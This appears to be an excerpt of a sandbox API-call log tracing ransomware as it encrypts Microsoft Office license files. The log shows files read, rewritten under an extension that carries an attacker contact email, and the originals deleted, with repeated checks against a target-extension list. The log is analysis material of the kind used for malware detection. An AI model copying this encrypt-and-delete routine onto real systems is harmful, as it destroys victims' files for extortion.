	[0182.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0182.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.864] lstrlenW (lpString=".doc") returned 4
	[0182.864] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.864] lstrlenW (lpString=".docx") returned 5
	[0182.864] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.864] lstrlenW (lpString=".pdf") returned 4
	[0182.864] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.864] lstrlenW (lpString=".xls") returned 4
	[0182.864] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.864] lstrlenW (lpString=".xlsx") returned 5
	[0182.864] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.864] lstrlenW (lpString=".ppt") returned 4
	[0182.864] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.864] lstrlenW (lpString=".zip") returned 4
	[0182.864] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.864] lstrlenW (lpString=".rar") returned 4
	[0182.864] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.864] lstrlenW (lpString=".bz2") returned 4
	[0182.864] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.865] lstrlenW (lpString=".7z") returned 3
	[0182.865] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.865] lstrlenW (lpString=".dbf") returned 4
	[0182.865] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.865] lstrlenW (lpString=".1cd") returned 4
	[0182.865] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.865] lstrlenW (lpString=".jpg") returned 4
	[0182.865] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.865] lstrlenW (lpString=".doc") returned 4
	[0182.865] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.865] lstrlenW (lpString=".docx") returned 5
	[0182.865] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.865] lstrlenW (lpString=".pdf") returned 4
	[0182.865] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.865] lstrlenW (lpString=".xls") returned 4
	[0182.865] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.865] lstrlenW (lpString=".xlsx") returned 5
	[0182.865] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.865] lstrlenW (lpString=".ppt") returned 4
	[0182.865] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.865] lstrlenW (lpString=".zip") returned 4
	[0182.865] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.865] lstrlenW (lpString=".rar") returned 4
	[0182.865] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.865] lstrlenW (lpString=".bz2") returned 4
	[0182.865] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.865] lstrlenW (lpString=".7z") returned 3
	[0182.865] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.866] lstrlenW (lpString=".dbf") returned 4
	[0182.866] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.866] lstrlenW (lpString=".1cd") returned 4
	[0182.866] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0182.866] lstrlenW (lpString=".jpg") returned 4
	[0182.866] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.866] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.866] lstrlenW (lpString="HomeStudentR_Retail-pl.xrm-ms") returned 29
	[0182.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.867] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10651) returned 1
	[0182.867] CloseHandle (hObject=0x540) returned 1
	[0182.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 0x220
	[0182.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.867] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.868] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0182.868] GetLastError () returned 0x0
	[0182.868] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x299b, lpOverlapped=0x0) returned 1
	[0182.876] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0182.877] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.877] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0182.878] SetEndOfFile (hFile=0x52c) returned 1
	[0182.878] CloseHandle (hObject=0x52c) returned 1
	[0182.878] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.878] SetEndOfFile (hFile=0x540) returned 1
	[0182.981] CloseHandle (hObject=0x540) returned 1
	[0182.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 1
	[0182.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.982] lstrlenW (lpString=".doc") returned 4
	[0182.982] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.982] lstrlenW (lpString=".docx") returned 5
	[0182.982] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.982] lstrlenW (lpString=".pdf") returned 4
	[0182.982] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.982] lstrlenW (lpString=".xls") returned 4
	[0182.982] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.982] lstrlenW (lpString=".xlsx") returned 5
	[0182.982] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.982] lstrlenW (lpString=".ppt") returned 4
	[0182.982] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.983] lstrlenW (lpString=".zip") returned 4
	[0182.983] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString=".rar") returned 4
	[0182.983] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString=".bz2") returned 4
	[0182.983] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString=".7z") returned 3
	[0182.983] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.983] lstrlenW (lpString=".dbf") returned 4
	[0182.983] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.983] lstrlenW (lpString=".1cd") returned 4
	[0182.983] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.983] lstrlenW (lpString=".jpg") returned 4
	[0182.983] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.983] lstrlenW (lpString=".doc") returned 4
	[0182.983] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString=".docx") returned 5
	[0182.983] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.983] lstrlenW (lpString=".pdf") returned 4
	[0182.983] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString=".xls") returned 4
	[0182.983] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString=".xlsx") returned 5
	[0182.983] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.983] lstrlenW (lpString=".ppt") returned 4
	[0182.983] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.983] lstrlenW (lpString=".zip") returned 4
	[0182.983] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.983] lstrlenW (lpString=".rar") returned 4
	[0182.984] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.984] lstrlenW (lpString=".bz2") returned 4
	[0182.984] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.984] lstrlenW (lpString=".7z") returned 3
	[0182.984] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.984] lstrlenW (lpString=".dbf") returned 4
	[0182.984] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.984] lstrlenW (lpString=".1cd") returned 4
	[0182.984] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0182.984] lstrlenW (lpString=".jpg") returned 4
	[0182.984] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.984] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.984] lstrlenW (lpString="HomeStudentR_Trial-pl.xrm-ms") returned 28
	[0182.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.985] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11163) returned 1
	[0182.985] CloseHandle (hObject=0x540) returned 1
	[0182.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 0x220
	[0182.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.986] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.986] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0182.987] GetLastError () returned 0x0
	[0182.987] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2b9b, lpOverlapped=0x0) returned 1
	[0183.150] WriteFile (in: hFile=0x388, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0183.152] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.152] WriteFile (in: hFile=0x388, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0183.152] SetEndOfFile (hFile=0x388) returned 1
	[0183.152] CloseHandle (hObject=0x388) returned 1
	[0183.153] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.153] SetEndOfFile (hFile=0x540) returned 1
	[0183.187] CloseHandle (hObject=0x540) returned 1
	[0183.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 1
	[0183.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.582] lstrlenW (lpString=".doc") returned 4
	[0183.582] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.582] lstrlenW (lpString=".docx") returned 5
	[0183.582] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.582] lstrlenW (lpString=".pdf") returned 4
	[0183.582] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.582] lstrlenW (lpString=".xls") returned 4
	[0183.594] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.594] lstrlenW (lpString=".xlsx") returned 5
	[0183.594] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.594] lstrlenW (lpString=".ppt") returned 4
	[0183.594] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.595] lstrlenW (lpString=".zip") returned 4
	[0183.595] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.595] lstrlenW (lpString=".rar") returned 4
	[0183.595] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.595] lstrlenW (lpString=".bz2") returned 4
	[0183.595] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.595] lstrlenW (lpString=".7z") returned 3
	[0183.595] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.595] lstrlenW (lpString=".dbf") returned 4
	[0183.595] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.595] lstrlenW (lpString=".1cd") returned 4
	[0183.595] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.595] lstrlenW (lpString=".jpg") returned 4
	[0183.595] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.595] lstrlenW (lpString=".doc") returned 4
	[0183.595] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.595] lstrlenW (lpString=".docx") returned 5
	[0183.595] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.595] lstrlenW (lpString=".pdf") returned 4
	[0183.595] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.595] lstrlenW (lpString=".xls") returned 4
	[0183.595] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.595] lstrlenW (lpString=".xlsx") returned 5
	[0183.596] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.596] lstrlenW (lpString=".ppt") returned 4
	[0183.596] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.596] lstrlenW (lpString=".zip") returned 4
	[0183.596] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.596] lstrlenW (lpString=".rar") returned 4
	[0183.596] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.596] lstrlenW (lpString=".bz2") returned 4
	[0183.596] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.596] lstrlenW (lpString=".7z") returned 3
	[0183.596] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.596] lstrlenW (lpString=".dbf") returned 4
	[0183.596] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.596] lstrlenW (lpString=".1cd") returned 4
	[0183.596] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0183.596] lstrlenW (lpString=".jpg") returned 4
	[0183.596] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.596] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.596] lstrlenW (lpString="MondoR_BypassTrial180-ul-oob.xrm-ms") returned 35
	[0183.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0183.598] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11623) returned 1
	[0183.598] CloseHandle (hObject=0x53c) returned 1
	[0183.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0183.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0183.599] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.599] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0183.600] GetLastError () returned 0x0
	[0183.600] ReadFile (in: hFile=0x53c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d67, lpOverlapped=0x0) returned 1
	[0183.602] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d70, lpOverlapped=0x0) returned 1
